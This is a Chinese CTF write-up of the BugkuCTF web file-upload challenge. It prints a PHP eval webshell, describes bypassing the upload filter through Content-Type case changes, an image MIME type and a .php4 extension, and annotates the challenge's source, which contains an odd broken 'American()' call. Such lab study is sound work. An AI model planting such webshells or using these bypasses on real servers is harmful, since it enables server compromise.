BugkuCTF-WEB题文件上传

2023-11-20

启动场景
发现是文件上传
在这里插入图片描述
只能上传图像,不能上传PHP文件,那应该是寻找漏洞上传PHP文件
PHP文件里写入一句话木马

<?php @eval($_POST[caidao]);?>

使用burp抓包,不断尝试发现发现需要修改的地方有三个:
一个是http head里的Content-Type: multipart/form-data;
请求头部的 Content-Type 内容 随便改个大写字母过滤掉 比如 mulTipart/form-data (其t为大写)
Multipart里的部分字母改成大写的。

第二个是文件的的Content-Type: application/octet-stream,改成image/jpeg

第三个是文件后缀名改成php4
(依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写))分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php4没有被过滤
在这里插入图片描述
之后上传成功
在这里插入图片描述
关闭代理,浏览器显示文件路径
在这里插入图片描述
以菜刀连接:
在这里插入图片描述
在这里插入图片描述
进入服务器后台,在根目录发现flag
在这里插入图片描述
打开flag
得到flag

后来有大佬教了我做事,说都上了马了自己不会扒来看嘛,哇我真的是蠢,这都没想到,直接血的教训记了下来,并扒了源码分析:
参考源码.php文件

<html>
<body>
<?php 
$flag = "flag{test}"
?>
<form action="index.php" method="post" enctype="multipart/form-data">
My name is margin,give me a image file not a php<br>
<br>
<input type="file" name="file" id="file" /> 
<input type="submit" name="submit" value="Submit" />
</form>
<?php
function global_filter(){
 $type =  $_SERVER["CONTENT_TYPE"];//$_SERVER是一个服务器端的变量数组,提供许多关于服务器及客户端请求的变量值,像客户端浏览器类型、IP地址等
 if (strpos($type,"multipart/form-data") !== False){//strpos() 函数查找字符串在另一字符串里第一次出现的位置。strpos() 函数对大小写敏感。
  $file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);//strrpos()查找字符串在另一字符串最后一次出现位置
        $file_ext = strtolower($file_ext); //strtolower() 函数把字符串转换为小写。
  if (stripos($file_ext,"php") !== False){
   American("Invalid File<br />");
  }
 }
}
//这里判断multipart/form-data用了strpos,该函数区分大小写,所以用Multipart/form-data的理由找到了,这样就能绕过里面的if
?>


<?php

global_filter();
if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){
 if ($_FILES["file"]["error"] == 0){
  $file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
        $file_ext = strtolower($file_ext);
        $allowexts = array('jpg','gif','jpeg','bmp','php4'); //array()  创建数组
        if(!in_array($file_ext,$allowexts)){
            American("give me a image file not a php");
        }
        //这里定了个白名单,只漏了个php4出来,只能用php4的原因也找到了

  $_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext; //rand() 函数返回随机整数。
                                  //date() 函数格式操作本地日期和时间,并返回已格式操作的日期字符串。
     if (file_exists("upload/" . $_FILES["file"]["name"])){ //file_exists() 函数检查文件或目录是否存在。
      echo $_FILES["file"]["name"] . " already exists. <br />";
     }
     else{
      if (!file_exists('./upload/')){
       mkdir ("./upload/");
                system("chmod 777 /var/www/html/upload"); //system — 执行外部程序,并且显示输出
      }
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);//move_uploaded_file — 将上传的文件移动到新位置
                echo "Upload Success<br>";
                $filepath = "upload/" . $_FILES["file"]["name"];
        echo "Stored in: " ."< a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";
     }
 }
}
else{
 if($_FILES["file"]["size"] > 0){
  echo "You was catched! :) <br />";
 }
}
?>
</body>
</html>

<?php
/*
$_SERVER是一个服务器端的变量数组,提供许多关于服务器及客户端请求的变量值,像客户端浏览器类型、IP地址等
通过 print_r($_SERVER)可以输出其里包含了那些内容

strpos() 函数查找字符串在另一字符串里第一次出现的位置。strpos() 函数对大小写敏感。
strrpos() - 查找字符串在另一字符串里最后一次出现的位置(区分大小写)
例如:echo strrpos("You love php, I love php too!","php"); 结果返回21

$_FILES -- $HTTP_POST_FILES [已弃用]HTTP 文件上传变量
PHP $_FILES 是一个预定义的数组,用来获取通过 POST 方法上传文件的相关信息。如果为单个文件上传,那么 $_FILES 为二维数组;如果为多个文件上传,那么 $_FILES 为三维数组。
$_FILES['myFile']['name'] 客户端文件的原名称。 
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。 
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。 
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本里增加的。下面是它的说明:(它们在PHP3.0以后成了常量) 
UPLOAD_ERR_OK 
值:0; 没有错误发生,文件上传成功。 

strtolower() 函数把字符串转换为小写。

date() 函数格式操作本地日期和时间,并返回已格式操作的日期字符串。

rand() 函数返回随机整数。

file_exists() 函数检查文件或目录是否存在。
如果指定的文件或目录存在则返回 true,否则返回 false。

system — 执行外部程序,并且显示输出

move_uploaded_file — 将上传的文件移动到新位置
*/
?>
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

BugkuCTF-WEB题文件上传 的相关文章

随机推荐

  • C++ pthread cond_wait 和 cond_broadcast的使用

    一个简单的实例程序 说明pthread cond wait 和 pthread cond broadcast 的使用方式 函数定义 int pthread cond wait pthread cond t cond pthread mute
  • Coding and Paper Letter(六十一)

    2019独角兽企业重金招聘Python工程师标准 gt gt gt 资源整理 1 Coding 1 航拍影像的土地覆盖分类 CAS机器学习人工智能2019 ZHAW 中ML DL分配的仓库 ml dl assignment 2019 2 跨
  • 职场新人如何使用ChatGPT提高工作效率

    刚刚从象牙塔中毕业 走向社会战场 作为职场新人的同学们刚刚进入公司和部门 难免会被安排做些本职工作之外的事务工作 被上级安排做些零零碎碎的小东西 俗称打杂 这些工作说难不难 想要做漂亮也并不简单 想要不辜负领导的信任 把这些工作做好 很容易
  • BP学习算法-构建三层神经网络

    引 人工神经网络 Artificial Neural Networks 简写为ANNs 也简称为神经网络 NNs 或称作连接模型 Connection Model 是一种模仿动物神经网络行为特征 进行分布式并行信息处理的算法数学模型 这种网
  • MySql学习笔记:一文上手MySql

    MySql学习笔记 quad PS 本文整理的笔记来自于B站视频 老杜带你学 mysql入门基础 mysql基础视频 数据库实战 视频讲的很好 值得大家一看 quad 一 MySql安装及概述 1 1 MySQL安装 MySql安装包下载链
  • 分层聚类算法

    分层聚类算法 转载 看到很多地方都讲到分层聚类法 这到底是什么东东 今天来研究一下 分层聚类法是聚类算法的一种 聚类算法是数据挖掘的核心技术 把数据库中的对象分类是数据挖掘的基本操作 其准则是使属于同一类的个体间距离尽可能小 而不同类个体间
  • 计算机网络4--Internet结构

    本页内容 1 基本结构 2 结构图解 3 层次结构图解 1 基本结构 a 端系统通过接入ISP access ISPs 连接到Internet b 接入ISP必须进一步互连 保证任意两个主机可以互相发送分组 c 构成复杂的网络互连的网络 2
  • Java对象数组的定义与用法

    目录 一 什么是对象数组 二 对象数组的作用 三 对象数组的语法定义 四 对象数组案例 一 什么是对象数组 1 顾名思义就是当数组元素是类对象时 这样的数组称之为对象数组 在这种情况下 数组的每一个元素都是一个对象的引用 2 对象数组 就是
  • Spring注解开发

    Spring配置繁重 注解提高开发速度 在applicationContext xml中配置组件扫描 作用是指定哪个包及其子包下的Bean需要进行扫描以便识别使用注解配置的类 字段和方法
  • PCL 法向量精细化处理

    目录 一 算法原理 1 概述 2 参考文献 二 代码实现 三 结果展示 一 算法原理 1 概述 class pcl NormalRefinement lt NormalT gt 这个类通过迭代的方式将每个点的法向量更新为其邻域内所有法向量的
  • Jenkins exec command java -jar 无法启动的问题

    看了一下午 网上讲的各种办法 都没起作用 前提 得先了解的知识 Disable exec 禁止在目标机上执行命令 勾选后将会忽略在Job配置中 Exec command 选项中设置的命令 Jenkins的说明文档中的 The Disable
  • 华为手机媒体音量自动静音_华为媒体音量自动静音

    大家好 我是时间财富网智能客服时间君 上述问题将由我为大家进行解答 检查是否有APP与媒体音量冲突 只要打开软件 手机媒体音量就自动关闭 建议卸载冲突软件 华为手机 隶属于华为消费者业务 作为华为三大核心业务之一 华为消费者业务始于2003
  • PAT 7 加法变乘法

    加法变乘法 我们都知道 1 2 3 49 1225现在要求你把其中两个不相邻的加号变成乘号 使得结果为2015比如 1 2 3 1011 12 2728 29 49 2015就是符合要求的答案 请你寻找另外一个可能的答案 并把位置靠前的那个
  • Vue的响应式原理与diff算法的理解

    前端面试中主技术栈是vue的小伙伴应该都知道 这道题会被经常问到 也是老生常谈的一些题 下面简单说一下这些题 一 什么是vue的响应式原理 答 1 首次数据加载的时候 比如我data里面有age name 通过Object definePr
  • scarpy 爬虫

    基本指令 全局指令 scrapy fetch 直接爬取某个网页 scrapy runspider 运行某个爬虫 并且这个爬虫可以不属于项目里 scrapy settings 设置 scrapy shell 进入交互模式 D gt scrap
  • 缺陷报告—缺陷的状态

    缺陷状态 new 新的状态 open 激活 打开 的缺陷 开发方承认的缺陷 fixed 修改完成的缺陷 待返测的缺陷 close 关闭的缺陷 结束的缺陷 可归档的缺陷 rejected 被拒绝的缺陷 开发方没承认的缺陷 reopen 重新激
  • 【uniapp小程序】—— APP项目云打包(安卓)

    前言 之前小程序系列文章写了配置页面和封装自定义组件 这次写一下开发完成我们的项目后 如何进行打包安装 本文主要讲述的是使用 uniapp打包安卓 正文 第一步 查看自己的项目的基础配置 第二步 选择打包项目 选中我们要打包的项目 方式一
  • 可持久化线段树(主席树)【舰娘系列】【自编题】

    pixiv https www pixiv net member illust php mode medium illust id 60083619 向大 hei 佬 e 势力学 di 习 tou 前段时间做了一套大佬自己出的题 大佬竟然是
  • 利用Qt Assistant 修改帮助文档可能会出现的修改失败的问题

    关于利用Qt Assistant定制帮助文档 网络上已有相关教程 在使用该教程定制帮助文档时 初次创建没有问题 但是当我要修改文档结构时 会出现修改失败的情况 例如明明有些文件已经从qch中删除 但是生成qhc文件后使用assistant
  • BugkuCTF-WEB题文件上传

    启动场景 发现是文件上传 只能上传图像 不能上传PHP文件 那应该是寻找漏洞上传PHP文件 PHP文件里写入一句话木马 使用burp抓包 不断尝试发现发现需要修改的地方有三个 一个是http head里的Content Type multi